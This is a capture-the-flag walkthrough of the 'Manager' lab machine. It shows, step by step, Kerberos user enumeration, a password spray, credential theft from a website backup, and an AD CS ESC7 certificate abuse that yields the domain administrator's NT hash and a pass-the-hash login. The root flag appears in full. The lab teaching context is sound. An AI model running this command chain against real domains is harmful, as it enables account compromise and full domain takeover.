Description:

This machine is based on Windows. Enumeration reveals an Active Directory environment. First step is to enumerate users and doing a password spray attack to gain access to SQL server on the machine. On this server, we found a backup of the website containing clear credentials used to gain a shell. Last step is to exploit the Active Directory Certificate Services to elevate our privileges.

Difficulty:

`medium`

Flags:

User: `e49ce14aad<...>a52716d1d3`

Root: `d605dc1021<...>7bf8b86c79`

Enumeration

Let's start by discovering all open ports on the machine:

```
nmap -p- -sV 10.10.11.236 -t4

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb.,
Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain:
manager.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb.,
Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain:
manager.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49728/tcp open msrpc Microsoft Windows RPC
60880/tcp open msrpc Microsoft Windows RPC
60963/tcp open unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

To sum it up, there are an Active Directory environment, an SQL server, an SMB service and a web server.
The domain name for the Active Directory is `manager.htb`, and the machine is `dc01.manager.htb` which we can add to our `/etc/hosts`.

First of all, we check the website. It appears to be a static website without functioning functionalities.
The directory bruteforcing does not gives more informations.

Then we check the SMB service to see what information we can gather. Seems like we can authenticate with a null session.

```
smbclient -L \\\\10.10.11.236\\ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
```

Now, let's enumerate our Active Directory. We'll use go-windapsearch and kerbrute. This will help us enumerate users on the AD.

```
┌──(kali㉿kali)-[~/htb]
└─$ ./windapsearch-linux-amd64 -d 10.10.11.236 --module metadata
dnsHostName: dc01.manager.htb
domainControllerFunctionality: 7
forestFunctionality: 7
domainFunctionality: 7
defaultNamingContext: DC=manager,DC=htb
```

Users don't have preauth activated, so we can use `Kerbrute` to enumerate our users.
How Kerbrute works for `userenum`:

> To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts. This generates a Windows event ID 4768 if Kerberos logging is enabled.

```
┌──(kali㉿kali)-[~/htb]
└─$ ./kerbrute_linux_amd64 userenum -d manager.htb --dc 10.10.11.236
/usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -o
kerb_user.txt


    __           __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 10/24/23 - Ronnie Flathers @ropnop

2023/10/24 14:13:59 >  Using KDC(s):
2023/10/24 14:13:59 >   10.10.11.236:88

2023/10/24 14:14:00 >  [+] VALID USERNAME:   ryan@manager.htb
2023/10/24 14:14:06 >  [+] VALID USERNAME:   guest@manager.htb
```

```
2023/10/24 14:14:07 >  [+] VALID USERNAME:   cheng@manager.htb
2023/10/24 14:14:07 >  [+] VALID USERNAME:   raven@manager.htb
2023/10/24 14:14:12 >  [+] VALID USERNAME:   administrator@manager.htb
2023/10/24 14:14:33 >  [+] VALID USERNAME:   Ryan@manager.htb
2023/10/24 14:14:34 >  [+] VALID USERNAME:   Raven@manager.htb
2023/10/24 14:14:36 >  [+] VALID USERNAME:   operator@manager.htb
2023/10/24 14:15:35 >  [+] VALID USERNAME:   Guest@manager.htb
2023/10/24 14:15:35 >  [+] VALID USERNAME:   Administrator@manager.htb
2023/10/24 14:16:27 >  [+] VALID USERNAME:   Cheng@manager.htb
2023/10/24 14:18:21 >  [+] VALID USERNAME:   jinwoo@manager.htb
2023/10/24 14:18:37 >  [+] VALID USERNAME:   RYAN@manager.htb
```

It seems that we have 7 users on the AD.

```
ryan
guest
cheng
raven
administrator
operator
jinwoo
```

> Note that this is not the only way to enumerate users here. We could have done it with RID cycling, which is a way to enumerate users based on increasing the RID part of the SID. This is only possible if we can authenticate with a null sesssion to the SMB service.

Now that we have our users list, we can go and try a password spray attack with the `password = user`.

```
┌──(kali㉿kali)-[~/htb/windows]
└─$ netexec smb 10.10.11.236 -u users.txt -p users.txt --no-bruteforce
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763
x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] manager.htb\ryan:ryan
STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\guest:guest
STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\cheng:cheng
STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-] manager.htb\raven:raven
STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [-]
manager.htb\administrator:administrator STATUS_LOGON_FAILURE
SMB         10.10.11.236    445    DC01             [+]
manager.htb\operator:operator
```

Now we have a username and a password: `operator:operator`.

Foothold

We can connect to the SQL server using the `mssqlclient` from `impacket`.

```
┌──(kali㉿kali)-[~/htb/windows]
└─$ impacket-mssqlclient -windows-auth -port 1433 -dc-ip 10.10.11.236
"manager.htb/operator:operator"@10.10.11.236
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database contNowext to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonate
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to
go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query
```

By using `xp_dirtree`, we can list files. Going to the web server root directory, we have the following files:

```
SQL (MANAGER\Operator  guest@msdb)> xp_dirtree /inetpub/wwwroot
subdirectory                        depth   file
---------------------------------   -----   ----
about.html                              1      1

contact.html                            1      1
```

```
css                                 1      0

images                              1      0

index.html                          1      1

js                                  1      0

service.html                        1      1

web.config                          1      1

website-backup-27-07-23-old.zip     1      1
```

Turns out there is a backup of the website accessible to download.

```
┌──(kali㉿kali)-[~/htb/manager]
└─$ curl http://10.10.11.236/website-backup-27-07-23.old.zip -o test.zip

┌──(kali㉿kali)-[~/htb/manager]
└─$ ls -la
total 1092
drwxr-xr-x 5 kali kali    4096 Oct 24 15:57 .
drwxr-xr-x 7 kali kali    4096 Oct 24 14:23 ..
-rw-r--r-- 1 kali kali     698 Jul 27 05:35 .old-conf.xml
-rw-r--r-- 1 kali kali    5386 Jul 27 05:32 about.html
-rw-r--r-- 1 kali kali    5317 Jul 27 05:32 contact.html
drwxr-xr-x 2 kali kali    4096 Oct 24 15:57 css
drwxr-xr-x 2 kali kali    4096 Oct 24 15:57 images
-rw-r--r-- 1 kali kali   18203 Jul 27 05:32 index.html
drwxr-xr-x 2 kali kali    4096 Oct 24 15:57 js
-rw-r--r-- 1 kali kali    7900 Jul 27 05:32 service.html
-rw-r--r-- 1 kali kali 1045328 Oct 24 15:57 test.zip

┌──(kali㉿kali)-[~/htb/manager]
└─$ cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
                 <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
```

```
        <dir-list>
           <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
        </dir-list>
     </search>
  </ldap-conf>
```

We find the password for the username raven: `R4v3nBe5tD3veloP3r!123`.

Now we can try to connect with this password to WinRM.

```
┌──(kali㉿kali)-[~/htb/manager]
└─$ evil-winrm -u raven -p 'R4v3nBe5tD3veloP3r!123' -i dc01.manager.htb

*Evil-WinRM* PS C:\Users\Raven\Documents> cat ../Desktop/user.txt
e49ce14<...>716d1d3
```

Privilege Escalation

As there is an Active Directory Certificate Service, we will use Certipy to find out if there are some vulnerabilities.

```
certipy find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'  -dc-ip 10.10.11.236

<...>

[!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous
permissions
```

It looks like we can use the escalation technique ESC7.

> ESC7 is when a user has the Manage CA or Manage Certificates access right on a CA. There are no public techniques that can abuse the Manage Certificates access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.

This escalation technique is when a user has the `Manage CA` or `Manage Certificates` access right on a Certificate Authorithy.

The steps to exploit this technique is shown in the github of the tool.

First step is to give the Manage Certificates permission to the user `Raven`: (note that we can do this only because the user `Raven` has ManageCa rights.)

```
certipy ca -ca manager-DC01-CA -add-officer raven -username raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123'
```

```
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
```

As this is temporary because of resets, we have to act fast or repeat the above step in case on problem.

Now the attack steps are the following:

- Request a certificate based on the `SubCa` template:

```
certipy req -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn
administrator@manager.htb -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 -
CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not
allow the current user to enroll for this type of certificate.
[*] Request ID is 13
Would you like to save the private key? (y/N) y
[*] Saved private key to 13.key
[-] Failed to request certificate
```

It is normal to have a failed response, what matters here is the request ID.

With our Manage CA and Manage Certificates, we can then issue the failed certificate request with the ca command and the -issue-request parameter.

```
certipy ca -ca manager-DC01-CA -issue-request 13 -username raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123'

[*] Successfully issued certificate
```

And finally, we can retrieve the issued certificate with the req command and the -retrieve parameter.

```
certipy req -ca manager-DC01-CA -target dc01.manager.htb -retrieve 13 -username
raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'

[*] Rerieving certificate with ID 13
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '13.key'
[*] Saved certificate and private key to 'administrator.pfx'
```

Now we can authenticate with the `administrator.pfx` file.

```
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb':
aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
```

Last step is to connect to WinRM as `administrator` with the hash we got above.

```
┌──(kali㉿kali)-[~/htb/manager]
└─$ evil-winrm -u administrator -H ae5064c2f62317332c88629e025924ef -i
dc01.manager.htb

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
d605dc102172ddfb0da7437bf8b86c79
```